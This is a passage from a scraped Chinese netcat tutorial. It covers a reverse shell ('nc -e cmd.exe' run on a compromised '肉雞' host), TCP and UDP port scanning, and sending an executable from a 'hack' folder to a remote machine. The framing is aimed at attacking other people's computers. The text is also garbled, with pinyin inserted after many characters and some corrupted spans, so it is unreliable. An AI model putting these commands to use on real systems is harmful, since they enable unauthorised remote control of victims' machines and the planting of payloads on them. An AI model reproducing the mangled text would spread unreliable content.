然后在遠(yuǎn)程機(jī)器上,想辦法運(yùn)行 nc -e cmd.exe ip 5277

(你可別真的打“ip”在肉雞上?。┮?,xxx.xxx.xxx.xxx這樣??!

這樣就是反彈~~在本地機(jī)器上得到了一個SHELL

命令3:掃描端口

nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port

參數(shù)解釋:

-z:將輸入輸出關(guān)掉,在掃描時使用

nc -v ip port  

//這個命令是針對某一個端口進(jìn)行掃描

例如:

nc -v ip 135  
//掃描遠(yuǎn)程主機(jī)的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息

例如:80端口

nc -v ip 80 然后使用get方法來獲得對方的WEB服務(wù)器的信息

nc -v -z ip port-port  
 //這個命令是用來掃描的一個命令,這個命令用于快速掃描TCP端口,而port-port則是指定了掃描的端口范圍

例如:

nc -v -z ip 1-200  
//可以看到我機(jī)器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port  
//這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多一個-u的參數(shù),是用來掃UDP端口的

 例如:

nc -v -z -u ip 1-200  //這個命令就會掃1-200的UDP端口

命令4:傳送文件(HOHO,I LIKE)

LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe

參數(shù)解釋:

-n:指定數(shù)字的IP地址

這兩個命令結(jié)合起來是用來傳送文件的

首先,在遠(yuǎn)程機(jī)上運(yùn)行命令:

nc -v -l -p 5277 > c:\pulist.exe

這個命令還記的嗎?呵呵,是不是和監(jiān)聽命令有點(diǎn)類似,對,沒錯,這個是監(jiān)聽5277端口

并把接受到的信息數(shù)據(jù)寫到c:\pulist.exe中

這時候在本地機(jī)上運(yùn)行

nc -v -n ip 5277 < e:\hack\pulist.exe

這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內(nèi)容,并把這些數(shù)據(jù)發(fā)送到ip的5277端口上

這樣遠(yuǎn)程主機(jī)就會自動創(chuàng)建一個pulist.exe文件。

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

標(biāo)簽:巴中 孝感 綏化 南充 蕪湖 福州 撫順 晉城

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《linux nc命令小結(jié)》,本文關(guān)鍵詞  linux,命令,小結(jié),linux,命令,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《linux nc命令小結(jié)》相關(guān)的同類信息!
  • 本頁收集關(guān)于linux nc命令小結(jié)的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章